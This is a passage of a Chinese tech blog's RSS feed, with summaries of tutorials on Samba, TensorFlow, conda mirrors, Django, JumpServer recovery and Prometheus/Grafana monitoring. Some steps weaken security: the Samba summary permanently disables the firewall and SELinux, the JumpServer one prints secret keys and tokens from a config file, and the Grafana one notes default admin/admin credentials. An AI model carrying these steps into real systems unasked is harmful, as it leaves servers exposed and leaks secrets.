      <description>一、Samba服务：&#xA;1）SMB（Server Message Block）协议实现文件共享，也称为CIFS（Common Internet File System）&#xA;2）是Windows和类Unix系统之间的共享文件的一种协议。NFS是Linux和Linux之间的文件共享。&#xA;3）客户端是Windows，支持多节点同时挂载以及并发写入。&#xA;4）主要是用于windows和linux下的文件共享，打印共享。&#xA;5）实现匿名和本地用户的文件共享。&#xA;二、Samba的主要进程:&#xA;1）smbd进程：控制发布共享目录与权限、负责文件的权限 TCP 139 445&#xA;2）nmbd进程：用于名称解析netbios，UDP 137 138 基于NetBIOS协议获得计算机名称&#xA;解析为相应的IP地址，实现信息通讯。&#xA;NetBIOS：是Network Basic Input/Output System的简称，一般指用于局域网通信的一套API。&#xA;三、Samba环境的准备：&#xA;1）从模板机中克隆一台Linux的服务器，叫做SAMBA服务器：&#xA;注意是管理，克隆，在其中选完整克隆。&#xA;2）更改主机名和IP地址：&#xA;hostnamectl set-hostname samba.chang.cn vim /etc/sysconfig/network-scripts/ifcfg-ens33 BOOTPROTO=none IPADDR=192.168.17.107 NETWORK=255.255.255.0 GATEWAY=192.168.17.2 DNS1=114.114.114.114 DNS2=8.8.8.8 ONBOOT=yes # systemctl restart network 扩展：如果是多网卡，建议使用ifdown ens33以及ifup ens33实现重启网络操作。这样操作，对其他业务没有影响。&#xA;3）关闭防火墙和SElinux：&#xA;systemctl stop firewalld &amp;amp;&amp;amp; systemctl disable firewalld # 临时关闭 setenforce 0 # 永久关闭 vim /etc/selinux/config SELINUX=disabled 4）配置yum源：&#xA;yum clean all yum makecache 四、Samba软件的安装：（服务器搭建）</description>
    </item>
    <item>
      <title>【1】如何安装和卸载tensorflow-CPU和GPU各版本-简单清晰版</title>
      <link>https://bchobby.github.io/posts/0636991fded972576ab02b2ad041a0ba/</link>
      <pubDate>Sun, 16 Apr 2023 17:30:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0636991fded972576ab02b2ad041a0ba/</guid>
      <description>文章目录 前言一、tensorflow-cpu指定版本的卸载二、tensorflow-gpu指定版本的卸载三、tensorflow-cpu指定版本的安装1、创建虚拟环境2、激活虚拟环境3、安装指定版本的tensorflow 四、tensorflow-gpu指定版本的安装安装CUDA安装cuDNN安装tensorflow_gpu-2.1.0测试tensorflow安装成功可能遇到的问题 总结 前言 学习随笔，权作记录。&#xA;一、tensorflow-cpu指定版本的卸载 &amp;gt;&amp;gt; pip uninstall tensorflow==版本号 例如： &amp;gt;&amp;gt; pip uninstall tensorflow==2.1.0 二、tensorflow-gpu指定版本的卸载 &amp;gt;&amp;gt; pip uninstall tensorflow==版本号 例如： &amp;gt;&amp;gt; pip uninstall tensorflow-gpu==2.1.0 三、tensorflow-cpu指定版本的安装 1、创建虚拟环境 打开Anaconda prompt（Anaconda3）&#xA;检查当前环境下python的版本&#xA;&amp;gt;&amp;gt; python --version 根据python的版本，创建虚拟环境pachong&#xA;&amp;gt;&amp;gt; conda create -n pachong python==3.7.4 按“y”，再按回车即可。&#xA;输入conda info -e，查看全部的环境，可以看到pachong环境已经创建完成。&#xA;&amp;gt;&amp;gt; conda info -e 2、激活虚拟环境 在base环境下输入conda activate pachong，即可进入pachong环境&#xA;&amp;gt;&amp;gt; conda activate pachong 3、安装指定版本的tensorflow 讲镜像源切换为清华大学的镜像&#xA;conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ conda config --add channels https://mirrors.</description>
    </item>
    <item>
      <title>MyBatisPlus</title>
      <link>https://bchobby.github.io/posts/75eaf6a42bb1c5a33187041b626854b9/</link>
      <pubDate>Sun, 16 Apr 2023 15:31:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75eaf6a42bb1c5a33187041b626854b9/</guid>
      <description>MyBatisPlus 今日目标&#xA;基于MyBatisPlus完成标准Dao的增删改查功能&#xA;掌握MyBatisPlus中的分页及条件查询构建&#xA;掌握主键ID的生成策略&#xA;了解MyBatisPlus的代码生成器&#xA;1，MyBatisPlus入门案例与简介 这一节我们来学习下MyBatisPlus的入门案例与简介，这个和其他课程都不太一样，其他的课程都是先介绍概念，然后再写入门案例。而对于MyBatisPlus的学习，我们将顺序做了调整，主要的原因MyBatisPlus主要是对MyBatis的简化，所有我们先体会下它简化在哪，然后再学习它是什么，以及它帮我们都做哪些事。&#xA;1.1 入门案例 MybatisPlus(简称MP)是基于MyBatis框架基础上开发的增强型工具，旨在简化开发、提供效率。&#xA;开发方式&#xA;基于MyBatis使用MyBatisPlus基于Spring使用MyBatisPlus基于SpringBoot使用MyBatisPlus SpringBoot刚刚我们学习完成，它能快速构建Spring开发环境用以整合其他技术，使用起来是非常简单，对于MP的学习，我们也基于SpringBoot来构建学习。&#xA;步骤1:创建数据库及表 create database if not exists mybatisplus_db character set utf8; use mybatisplus_db; CREATE TABLE user ( id bigint(20) primary key auto_increment, name varchar(32) not null, password varchar(32) not null, age int(3) not null , tel varchar(32) not null ); insert into user values(1,&#39;Tom&#39;,&#39;tom&#39;,3,&#39;18866668888&#39;); insert into user values(2,&#39;Jerry&#39;,&#39;jerry&#39;,4,&#39;16688886666&#39;); insert into user values(3,&#39;Jock&#39;,&#39;123456&#39;,41,&#39;18812345678&#39;); insert into user values(4,&#39;传智播客&#39;,&#39;itcast&#39;,15,&#39;4006184000&#39;); 步骤2:创建SpringBoot工程 步骤3:勾选配置使用技术 说明: 由于MP并未被收录到idea的系统内置配置，无法直接选择加入，需要手动在pom.</description>
    </item>
    <item>
      <title>Anaconda中如何配置国内镜像源安装外部库（含conda永久配置和pip临时配置方法）</title>
      <link>https://bchobby.github.io/posts/03fcbe5df88035551b62dd82f0cf7c28/</link>
      <pubDate>Sun, 16 Apr 2023 14:20:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03fcbe5df88035551b62dd82f0cf7c28/</guid>
      <description>Anaconda中如何配置国内镜像源安装外部库 文章目录 Anaconda中如何配置国内镜像源安装外部库一、conda下添加国内镜像源（window下）（永久添加）1.配置清华镜像源2.配置中科大镜像源3、配置上海交通大学镜像源4、显示添加的镜像源 二、pip配置国内镜像源（window下，临时修改）1、配置pip镜像源 三、删除镜像源，换回默认源 一、conda下添加国内镜像源（window下）（永久添加） 1.配置清华镜像源 直接在anaconda prompt下输入以下代码即可。&#xA;代码如下：&#xA;conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge/ #设置搜索时显示通道地址 conda config --set show_channel_urls yes 2.配置中科大镜像源 代码如下：&#xA;conda config --add channels https://mirrors.ustc.edu.cn/anaconda/pkgs/main/ conda config --add channels https://mirrors.ustc.edu.cn/anaconda/pkgs/free/ conda config --add channels https://mirrors.ustc.edu.cn/anaconda/cloud/conda-forge/ conda config --add channels https://mirrors.ustc.edu.cn/anaconda/cloud/msys2/ conda config --add channels https://mirrors.ustc.edu.cn/anaconda/cloud/bioconda/ conda config --add channels https://mirrors.ustc.edu.cn/anaconda/cloud/menpo/ #设置搜索时显示通道地址 conda config --set show_channel_urls yes 3、配置上海交通大学镜像源 命令如下：</description>
    </item>
    <item>
      <title>【PyQt开发手册】QTimer的使用介绍以及简单用例</title>
      <link>https://bchobby.github.io/posts/19a803bfcec532698a8dbbafd47b028a/</link>
      <pubDate>Sun, 16 Apr 2023 12:13:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19a803bfcec532698a8dbbafd47b028a/</guid>
      <description>1.介绍 QTimer是一个定时器，设定定时器可以定时调用函数，如果想要调用定时器来定时调用函数，我们需要先了解一下必要的实例方法&#xA;2.使用QTimer的简单流程如下 首先先创建一个QTimer对象–&amp;gt;通过QTimer中的start方法让它开始计时（start方法可以设定定时运行的时间）–&amp;gt;每当计时的时间超过了给定的时间后，就会调用一次timeout.connect(xx)中的xx函数–&amp;gt;使用完后调用stop方法关闭计时器&#xA;3.详细流程 这里我们设计这样一个项目，通过点击button来开始计时。我们创建一个编辑定义类，来对用Qtdesigner创建好的UI界面进行编辑&#xA;Qtdesigner与底层代码分开实现的模板：pyqt中代码与qtdesigner如何分离编写代码&#xA;（1）先建立好一个简单的编辑定义类，继承UI界面&#xA;class Edit(Ui_Form, QWidget): # 定义初始化进程 def __init__(self): # 继承 super().__init__() # 往空QWidget中放置UI内容 self.setupUi(self) #初始化各种功能 self.init() # 初始化各种功能 def init(self): pass if __name__ == &#39;__main__&#39;: app = QApplication(sys.argv) myshow = Edit() myshow.show() sys.exit(app.exec_()) （2）在init方法中创建Qtimer对象&#xA;# 初始化各种功能 def init(self): # 创建一个QTimer对象 self.send_time = QTimer(self) （3）将button事件连接QTimer开始计时事件&#xA;# 初始化各种功能 def init(self): # 创建一个QTimer对象 self.send_time = QTimer(self) # QTimer开始计时 self.pushButton_start.clicked.connect(self.beginShowTime) def beginShowTime(self): # 设置QTimer开始计时，且设定时间为1000ms self.send_time.start(1000) （3）设置需要周期性运行的内容</description>
    </item>
    <item>
      <title>【django开发手册】如何使用select_related进行一次连表查询</title>
      <link>https://bchobby.github.io/posts/ca595e43abc281a96281e2586a54e685/</link>
      <pubDate>Sun, 16 Apr 2023 12:08:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca595e43abc281a96281e2586a54e685/</guid>
      <description>💖 作者简介：大家好，我是Zeeland，全栈领域优质创作者。📝 CSDN主页：Zeeland🔥📣 我的博客：Zeeland📚 Github主页: Undertone0809 (Zeeland) (github.com)🎉 支持我：点赞👍+收藏⭐️+留言📝📣 系列专栏：django开发手册🍁💬介绍：The mixture of software dev+Iot+ml+anything🔥 Django系列专栏 【django开发手册】Django 中使用自定义用户模型：一个比自带 User 更强的选择【django开发手册】如何使用select_related进行一次连表查询【django开发手册】drf通过添加自定义字段优化DRF序列化器，轻松实现高速API【django开发手册】解决admin添加外键下拉显示外键的问题【Django Rest Framework优化实践】ResponseResult、异常处理方法详解【DRF】深度分析枚举类型在DRF中的序列化问题及解决方案【django开发手册】关于django admin添加表信息的时候外键无法为空的问题解决方案【django开发手册】django admin如何显示外键对应的字段【django开发手册】DRF外键模型查询没有信息？教你实现序列化返回 前言 Django是一款Python Web框架，致力于充分利用Python的简洁语法和语言特性来提高Web开发的效率。其中一个强大的特性是ORM（Object-Relational Mapping），它使开发者可以使用Python代码而不是SQL查询语言来访问数据库。ORM不仅使得数据库访问变得简单，还使得关系数据模型的操作非常方便。&#xA;在这篇博客中，我们将讨论Django ORM 中的关键特性——外键，以及如何使用Django REST Framework（DRF）来实现外键关联查询。同时，我们还将探讨如何优化DRF接口，以适应大量数据的情况。&#xA;快速上手 假设我们有三个模型：MeasuringPoint、Project和ElementPoint。MeasuringPoint 拥有两个外键——Project和 ElementPoint。现在我们需要编写一个DRF接口，该接口需要从数据库中获取 MeasuringPoint，并返回两个外键对应的 Project和 ElementPoint 信息。此外，该接口还需要支持查询参数 project_id，以便对查询进行筛选。&#xA;对于以上要求，我们编写了以下代码：&#xA;class MeasuringPointSerializer(serializers.ModelSerializer): class Meta: model = MeasuringPoint fields = &#39;__all__&#39; depth = 2 # 用于展示外建对应的信息 class MeasuringPointListAPIView(APIView): serializer_class = MeasuringPointSerializer def get(self, request): project_id = request.query_params.get(&#39;project_id&#39;, None) if project_id: queryset = MeasuringPoint.</description>
    </item>
    <item>
      <title>RapidOCR调优尝试教程</title>
      <link>https://bchobby.github.io/posts/19a54b91559a4af488a8857c82e0b796/</link>
      <pubDate>Sun, 16 Apr 2023 11:25:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19a54b91559a4af488a8857c82e0b796/</guid>
      <description>目录 引言常见错例种类个别字丢失调优篇个别字识别错误调优篇情况一：轻量中英文模型识别对个别汉字识别错误情况二：轻量中英文模型对个别英文或数字识别错误 相关链接 引言 由于小伙伴们使用OCR的场景多种多样，单一的参数配置往往不能满足要求，这就涉及到基于现有模型，通过调节参数来达到正确识别的目的。基本的原则是尽量不去动模型内部，降低使用成本。本篇文章就来说说在识别效果不好时，如何去调优。因此博客为一家之言，难免会挂一漏万，希望小伙伴多多指出，共同维护这份教程。✨以下尝试情况，均已经在在线demo中实现，看完之后，可移步那里去尝试。 常见错例种类 本地使用过程中，识别结果：&#xA;个别字丢失个别字识别错误 个别字丢失调优篇 查看图像是否shape太小，导致文本检测丢失。&#xA;对于长度较长，高度较小的图像，可尝试对该图像高度做上下补充，来减小文字在原始图像中比例，利于文本检测。类似下图这种，左侧一条为原始图像，右侧为上下补边的图像。&#xA;padding代码参考：&#xA;from typing import Tuple import cv2 import numpy as np def padding_img(img: np.ndarray, padding_value: Tuple[int, int, int, int], padding_color: Tuple = (0, 0, 0)) -&amp;gt; np.ndarray: padded_img = cv2.copyMakeBorder(img, padding_value[0], padding_value[1], padding_value[2], padding_value[3], cv2.BORDER_CONSTANT, value=padding_color) return padded_img img = cv2.imread(&#39;xxx.jpg&#39;) # padding_value: (top, bottom, left, right) # 对该图像上下各补充10像素的白边 padded_img = padding_img(img, (10, 10, 0, 0), (255, 255, 255)) 将padding之后的图像再次送入RapidOCR中尝试，查看是否仍然出现上述问题。 将该图像上传到在线demo中，查看能否复现问题？</description>
    </item>
    <item>
      <title>离线搭建IDEA项目</title>
      <link>https://bchobby.github.io/posts/73c98bd4549521bc5b30b51f139e9807/</link>
      <pubDate>Sun, 16 Apr 2023 10:33:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73c98bd4549521bc5b30b51f139e9807/</guid>
      <description>关于离线搭建项目&#xA;idea 依赖爆红问题，&#xA;1、打包依赖包，到指定目录下，并查找目录下_remote.repositories 文件，全部删除&#xA;2、idea中。setting-》Maven-》设置指定依赖路径包&#xA;3、清除缓存 File-》Invalidate Caches / Restart&#xA;4、进行Maven reload&#xA;即可完成。</description>
    </item>
    <item>
      <title>Visual Studio Code 配置Shell环境（第1次更新：20230416）</title>
      <link>https://bchobby.github.io/posts/6e96c8d7c2b73f270064bb86e825cba3/</link>
      <pubDate>Sun, 16 Apr 2023 10:29:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e96c8d7c2b73f270064bb86e825cba3/</guid>
      <description>1.前置 1.1 安装Visual Studio Code（VSCode） 下载地址：https://code.visualstudio.com/Download&#xA;安装：略&#xA;1.2 安装Git 下载地址：https://git-scm.com/downloads&#xA;安装：略&#xA;2. 安装插件 2.1 进入应用市场 打开VSCode后，点击左侧的&#34;Extensions&#34;扩展面板，并在搜索栏输入扩展插件的名字。&#xA;2.2 安装shellman 简介&#xA;智能提示和自动补全&#xA;搜索、安装插件&#xA;搜索栏输入shellman，点击&#34;install&#34;按钮&#xA;​ 安装完毕&#xA;查看效果&#xA;点击&#34;explorer&#34;资源管理器面板，右键单击红框处，点击&#34;New File&#34;新建文件。&#xA;​ 新建&#34;shellmanTest.sh&#34;文件，输入case，显示代码提示。&#xA;​ 选中第一个后，效果如下&#xA;2.3 安装shellcheck 简介&#xA;语法、错误检查&#xA;搜索、安装插件&#xA;搜索栏输入shellman，点击&#34;install&#34;按钮&#xA;安装完毕&#xA;查看效果&#xA;2.4 安装shell-format 简介&#xA;格式化代码&#xA;搜索、安装插件&#xA;搜索栏输入shell-format，点击&#34;install&#34;按钮&#xA;​ 安装完毕&#xA;下载shfmt 网址：https://github.com/mvdan/sh/releases&#xA;点击“shfmt_v3.6.0_windows_amd64.exe”下载（可能需要科学上网才能下载）&#xA;存放文件 将下载的exe文件，存放到任意目录&#xA;配置 依次点击&#34;File&#34;——&amp;gt;“Preferences”——&amp;gt;“Settings”&#xA;​ 进入Settings，输入&#34;shell-format&#34;，点击&#34;Edit in settings json&#34;&#xA;将shfmt.exe的路径配置到shellformat.path中，并保存&#xA;“shellformat.path”: “D:/Program Files/shfmt/shfmt_v3.6.0_windows_amd64.exe”（根据自己的存放路径，并注意路径中斜杠方向）&#xA;查看效果 在代码的任意地方，单击鼠标右键，选择&#34;Format Document&#34;&#xA;效果如图&#xA;备注：如果无法下载shfmt，也可使用在线格式化工具&#xA;https://tool.lu/shell/ http://web.</description>
    </item>
    <item>
      <title>JavaScript操作数组的常用方法</title>
      <link>https://bchobby.github.io/posts/86588c949d37a76808051ff3bf4d12bd/</link>
      <pubDate>Sat, 15 Apr 2023 23:46:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86588c949d37a76808051ff3bf4d12bd/</guid>
      <description>#JavaScript操作数组的常用方法&#xA;push()：在数组的末尾添加一个或多个元素，并返回新的长度。pop()：移除并返回数组中的最后一个元素。shift()：移除并返回数组中的第一个元素。unshift()：在数组的开头添加一个或多个元素，并返回新的长度。splice()：从数组中添加或删除元素。slice()：返回数组的指定部分，不会改变原数组。concat()：将两个或多个数组合并成一个新数组，不会改变原数组。reverse()：反转数组中的元素，改变原数组。sort()：对数组元素进行排序，改变原数组。indexOf()：返回指定元素在数组中第一次出现的位置，未找到返回 -1。lastIndexOf()：返回指定元素在数组中最后一次出现的位置，未找到返回 -1。join() 把数组中的所有元素转换为一个字符串split() 把一个字符串分割成字符串数组:every()：检测数组中所有元素是否符合指定条件，如果全部符合则返回 true，否则返回 false。some()：检测数组中是否有元素符合指定条件，如果有则返回 true，否则返回 false。forEach()：对数组中的每个元素执行指定操作。map()：对数组中的每个元素执行指定操作，返回一个新数组。filter()：对数组中的每个元素进行测试，并返回一个新数组，该数组包含所有测试通过的元素。reduce()：对数组中的每个元素执行指定操作，返回一个累计值。reduceRight()：对数组中的每个元素从右到左执行指定操作，返回一个累计值。find()：查找符合条件的第一个元素，并返回该元素。findIndex()：返回符合条件的第一个元素在数组中的位置，未找到返回 -1。fill()：使用指定的值填充数组中从起始索引到终止索引内的所有元素。includes()：检测数组是否包含指定元素，如果存在则返回 true，否则返回 false。flat()：将数组展开一层，返回一个新数组。flatMap()：对数组中的每个元素执行指定操作，并展开结果为一维数组。copyWithin()：将数组中指定位置的元素复制到另一个指定位置，返回改变后的数组。 // push()：在数组的末尾添加一个或多个元素，并返回新的长度。 let arr = [1, 2, 3, 4, 5, 6] let a = arr.push(1, 2, 3) console.log(arr, a) //pop()：移除并返回数组中的最后一个元素。 let brr = [1, 2, 3, 4, 5] const b = brr.pop() console.log(brr, b) //shift()：移除并返回数组中的第一个元素。 let crr = [1, 2, 3, 4, 5] const c = crr.shift() console.log(crr, c) //unshift()：在数组的开头添加一个或多个元素，并返回新的长度。 let drr = [1, 2, 3, 4, 5] const d = drr.</description>
    </item>
    <item>
      <title>while (in.hasNextInt())因无法结束输入,得不到输出结果</title>
      <link>https://bchobby.github.io/posts/1ea891280b48ef2cd143722ad970f775/</link>
      <pubDate>Sat, 15 Apr 2023 22:47:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ea891280b48ef2cd143722ad970f775/</guid>
      <description>用ctrl+D结束输入</description>
    </item>
    <item>
      <title>网络通信，UDP通信，TCP通信</title>
      <link>https://bchobby.github.io/posts/6cb4bcbc88783367bbd1baeafae1e8bd/</link>
      <pubDate>Sat, 15 Apr 2023 21:46:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6cb4bcbc88783367bbd1baeafae1e8bd/</guid>
      <description>网络通信3要素 要素1：IP地址 IP地址操作类: InetAddress package com.heima.test; import java.net.InetAddress; import java.net.UnknownHostException; public class InetAddressDemo { public static void main(String[] args) throws Exception { //获取本机地址对象 InetAddress ip1 = InetAddress.getLocalHost(); //本机局域网ip地址 System.out.println(ip1); //主机名 System.out.println(ip1.getHostName()); //局域网ip地址 System.out.println(ip1.getHostAddress()); //获取域名ip对象 InetAddress ip2 = InetAddress.getByName(&#34;www.baidu.com&#34;); System.out.println(ip2.getHostName()); System.out.println(ip2.getHostAddress()); //获取公网ip对象 InetAddress ip3 = InetAddress.getByName(&#34;119.63.197.151&#34;); System.out.println(ip3.getHostName()); System.out.println(ip3.getHostAddress()); //判断是否能通：ping 5s之内测试是否可通 System.out.println(ip3.isReachable(5000)); } } 要素2：端口号 要素3：协议 连接和通信数据的规则被称为网络通信协议 UDP通信 基础知识 package com.heima.test.TCP; import java.net.DatagramPacket; import java.net.DatagramSocket; import java.net.SocketException; //接收端 public class ServerDemo { public static void main(String[] args) throws Exception { System.</description>
    </item>
    <item>
      <title>Prometheus&#43;Mysqld_exporter&#43;Grafana从0到1搭建MySQL的可视化监控</title>
      <link>https://bchobby.github.io/posts/c63c62a4bbc9291690695cce19aa7781/</link>
      <pubDate>Sat, 15 Apr 2023 20:08:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c63c62a4bbc9291690695cce19aa7781/</guid>
      <description>目 录 1. 准备工作1.1 安装MySQL1.2 安装Prometheus1.3 安装Mysqld_exporter1.4 安装Grafana 2. 更改配置2.1 配置Mysqld_exporter2.2 配置Prometheus2.3 配置Grafana 3. 小 结 1. 准备工作 安装 MySQL 数据库安装 Prometheus安装 Mysqld_exporter安装 Grafana 在正式开始搭建之前，我们需要提前做好上面几个东西的安装，下面简单介绍一下这几个东西。&#xA;1.1 安装MySQL MySQL 数据库，这个就不过多赘述了，必须要有的，下载一个适合自己系统的版本，安装即可。&#xA;1.2 安装Prometheus Prometheus，中文名叫普罗米修斯，一个开源的系统监控和告警系统，我们用到这个，所以可以到它的官网下载获得。&#xA;我这里用的是 Window 系统，所以就下载当前最新的 Window 版本的压缩包，不需要安装，下载后解压就可以了。&#xA;1.3 安装Mysqld_exporter 因为我们搭建的是对 MySQL 数据库的监控，所以需要一个数据采集工具去采集数据库的信息，并将这些信息给到 Prometheus ，那这里，我用到的数据采集工具就是 Mysqld_exporter。&#xA;同样的，去官网下载下来，完成解压就可以了，需要注意的是，选对适合自己系统的版本。&#xA;1.4 安装Grafana Grafana 是一个可视化工具，简单地说就是用来展示数据的，像监控大屏那样，因此它需要配置数据来源。它的数据来源可以由 Prometheus 提供，也可以是其它类似的，如 Zabbix ，我们这里用 Prometheus 。&#xA;先到官网将这个东西下载下来，我这里下载需要安装的版本，也有解压的，看自己喜好。&#xA;安装完成后，打开浏览器，输入 http://localhost:3000 ，就能打开登录页面，默认的登录用户是 admin ，密码也是 admin ，可以改密码也可以直接跳过，下面就是我登录后的样子。&#xA;到这里，我们的准备工作，基本就完成了，后面就是改配置，整合各个组件，实现监控效果，这一小节最后，附上我下载下来的几个东西，供参考。&#xA;2. 更改配置 2.1 配置Mysqld_exporter 1、在前面的解压目录 mysqld_exporter-0.</description>
    </item>
    <item>
      <title>jumpserver部署恢复</title>
      <link>https://bchobby.github.io/posts/ecc37f63681b2c299d9df8f685ea0552/</link>
      <pubDate>Sat, 15 Apr 2023 19:52:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ecc37f63681b2c299d9df8f685ea0552/</guid>
      <description>别名：跳板机、堡垒机 （登录你们企业的服务器的）&#xA;jumpserver部署恢复 jumpserver官网：JumpServer 文档&#xA;用与数据恢复和版本容灾，对企业jumpserver堡垒机做高可用方案&#xA;一、前提 企业现用jumpserver有数据备份，即mysql数据库的数据备份，依据该备份文件进行堡垒机的数据恢复&#xA;二、流程 1.本机恢复jumpserver数据： 使用jumpserver自带恢复功能即可&#xA;##进入安装目录 cd /opt/jumpserver-installer-v2.28.6/ ##查看管理脚本 ./jmsctl.sh -h ##数据备份 ./jmsct.sh backup_db ##数据恢复 ./jmsctl.sh restore_db 备份文件路径 备份&#xA;恢复&#xA;2.异地恢复jumpserver堡垒机数据 首先记录老版本的认证文件和数据备份信息，然后再操作恢复&#xA;1、前提操作 #记录老版本的 SECRET_KEY 和 BOOTSTRAP_TOKEN，否则会无法连接和读取数据。安全认证 cat /opt/jumpserver/config/config.txt | egrep &#34;SECRET_KEY|BOOTSTRAP_TOKEN&#34; 2.搞定数据文件 #备份老版本数据 cd /opt/jumpserver-installer-v2.18.0/ ./jmsctl.sh backup_db #修改备份sql的字符集，最好操作以防导入数据时报错！（jumpserver.sql 为上一步操作备份下来的数据） if grep -q &#39;COLLATE=utf8_bin&#39; /opt/jumpserver.sql; then cp /opt/jumpserver.sql /opt/jumpserver_bak.sql sed -i &#39;s@ COLLATE=utf8_bin@@g&#39; /opt/jumpserver.sql sed -i &#39;s@ COLLATE utf8_bin@@g&#39; /opt/jumpserver.sql else echo &#34;备份数据库字符集正确&#34;; fi 3.</description>
    </item>
    <item>
      <title>wvp避坑指南(1)，总有一款适合你：DateUtil类Instant.from报日期转换错误 | zlm仍在线，点播超时 | 前台编辑、删除、新增操作无效 |浏览器403forbidden 打包报错</title>
      <link>https://bchobby.github.io/posts/e0571ddc2d7e737e9a0980d091450e66/</link>
      <pubDate>Sat, 15 Apr 2023 17:35:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0571ddc2d7e737e9a0980d091450e66/</guid>
      <description>一、前言 这些错误处理起来没那么难，但是要找到其根本原因，还是要费很多精力，前人栽树后人乘凉，在阅读这些坑位时，先检查自己的jdk版本和zml流媒体，最要更新到较新版本。&#xA;（1）wvp官网要求JDK&amp;gt;=1.8，而你使用的JDK有可能刚好是1.8.0，就会引发一些列问题；&#xA;（2）你使用的wvp是最新版本，zlm不是最新的，两者版本不匹配，也会引发一些问题；&#xA;二、坑位指南 2.1 yyyy_MM_dd_HH_mm_ssToTimestamp()报日期转换错误 问题原因：JDK版本过低。&#xA;解决方案：把本地的JDK升级为JDK1.8.0.121，或更高版本，并在工程中更新你的各种配置（包括：JDK环境变量、IDEA、Maven的settings.xml配置尾部）都指向新版本的JDK。&#xA;IDEA快捷键：Ctrl+Alt+shift+s&#xA;如需更多帮助，点击：JDK环境配置、Maven环境配置、Maven在IDEA中的配置(参考一、1.2章节)&#xA;2.2 播放10几秒后，自动断开或者提示验证后zlm仍在线，点播接口等待超时 问题原因：问题一般是环环相扣的，也就是说，如果在上面修改了expire方法后导致expire方法间歇性失效，导致中断，另外一个原因就是zml版本过低（点击下载），于wvp版本不匹配。&#xA;解决方案：更新一下你的ZLM版，点击下载，当然这个问题也可能是你在上一个问题报错的情况下，修改了DeviceServiceImpl类中的expire()的日期转换判断有关（说明：该方法代码不需要做日期判断修改，切换更高版本JDK就可以了）。 2.3 前台界面的编辑、删除、新增操作无效，浏览器403 forbidden错误 浏览器console错误提示：webSocket is closed before the connection is established 问题原因：这是一个跨域问题，403 forbidden意思是无权限访问，官网提示如下：&#xA;解决方案：如果本地运行源代码，则需要把application.yml中的active:local （默认）修改为dev，改后的效果：&#xA;spring: application: name: wvp profiles: active: dev 然后根据官网提示，在all-application.yml中复制一份users-settings:到application-dev.yml的尾部，如下所示： 提示，如果直接是mvn -package 打包(官网有详细介绍) 为jar包运行，则也要修改这个配置，否则页面效果也是无法修改、删除新增操作的。&#xA;# [根据业务需求配置] user-settings: # 跨域配置，配置你访问前端页面的地址即可， 可以配置多个 allowed-origins: - http://localhost:8080 - http://192.168.1.30:8080 - http://127.0.0.1:8080 2.4 mvn命令打包或install源码时，IDEA控制台报maven:git-comit-id-plugin错误 Failed to ewecute goal pl.project13.maven:git-comit-id-plugin:3.0.1:revision (default) on project wp-pro:Could not completeMojo execution. .</description>
    </item>
    <item>
      <title>No matching distribution found for torch==1.10.1&#43;cu111</title>
      <link>https://bchobby.github.io/posts/d62fcf85c823c284623ff62c82836668/</link>
      <pubDate>Sat, 15 Apr 2023 17:12:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d62fcf85c823c284623ff62c82836668/</guid>
      <description>目录 注意问题PyTorch 安装 gpu版本的问题我的电脑配置不想看我的经历可以直接使用下方命令对应1.10版本的torch对应1.9.1版本的torch对应1.6.0版本的torch 安装PyTorch-cu之路==接下来就不是废话了==第一种办法第二种办法 补充第二种方法问题: 基于python 3.8 cuda111&amp;lt;112的版本和torch-cu101不兼容， 这部分可以自己解决。 我还要补充下anconda创建虚拟环境参考下载地址安装验证安装（前提环境变量已经添加）更改镜像源(这一步我没有做)创建虚拟环境报错 删除虚拟环境方法一：使用conda env remove -p 虚拟环境路径命令，指定要删除的虚拟环境的路径。==好用==方法二：使用conda remove -n 虚拟环境名 --all命令，==不管用==方法三：直接手动删除 ==好用== 激活虚拟环境 安装torch1.6 注意问题 UserWarning: GeForce RTX 3060 Laptop GPU with CUDA capability sm_86 is not compatible with the current PyTorch installation. The current PyTorch install supports CUDA capabilities sm_37 sm_50 sm_60 sm_61 sm_70 sm_75 compute_37. If you want to use the GeForce RTX 3060 Laptop GPU GPU with PyTorch, please check the instructions at https://pytorch.</description>
    </item>
    <item>
      <title>C&#43;&#43; / 顺序表删除最小元素</title>
      <link>https://bchobby.github.io/posts/e14d57e9766be4e1d940d153abd3156b/</link>
      <pubDate>Sat, 15 Apr 2023 16:32:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e14d57e9766be4e1d940d153abd3156b/</guid>
      <description>#include &amp;lt;iostream&amp;gt; #define MAXSIZE 100 //定义线性表最大长度 using namespace std; typedef int ElemType; typedef struct { ElemType data[MAXSIZE]; //顺序表的元素 int length; //顺序表的当前长度 }SqList; //顺序表的类型定义 bool Del_Min(SqList &amp;amp;L,ElemType &amp;amp;value) { if(L.length == 0) return false; //表空，中止操作返回 value = L.data[0]; //假定0号元素的值最小 int pos = 0; for(int i = 1; i &amp;lt;L.length; i++) //遍历表，寻找最小元素 if(L.data[i] &amp;lt; value) //让value记忆当前具有最下值的元素 { value = L.data[i]; pos = i; } L.data[pos] = L.data[L.length - 1]; L.length--; return true; } int main() { SqList L; int n; L.</description>
    </item>
    <item>
      <title>js基础之Promise（全面&#43;手写实现）</title>
      <link>https://bchobby.github.io/posts/fe8d147de391b05b064351ad8dc2a684/</link>
      <pubDate>Fri, 14 Apr 2023 23:45:00 +0800</pubDate>
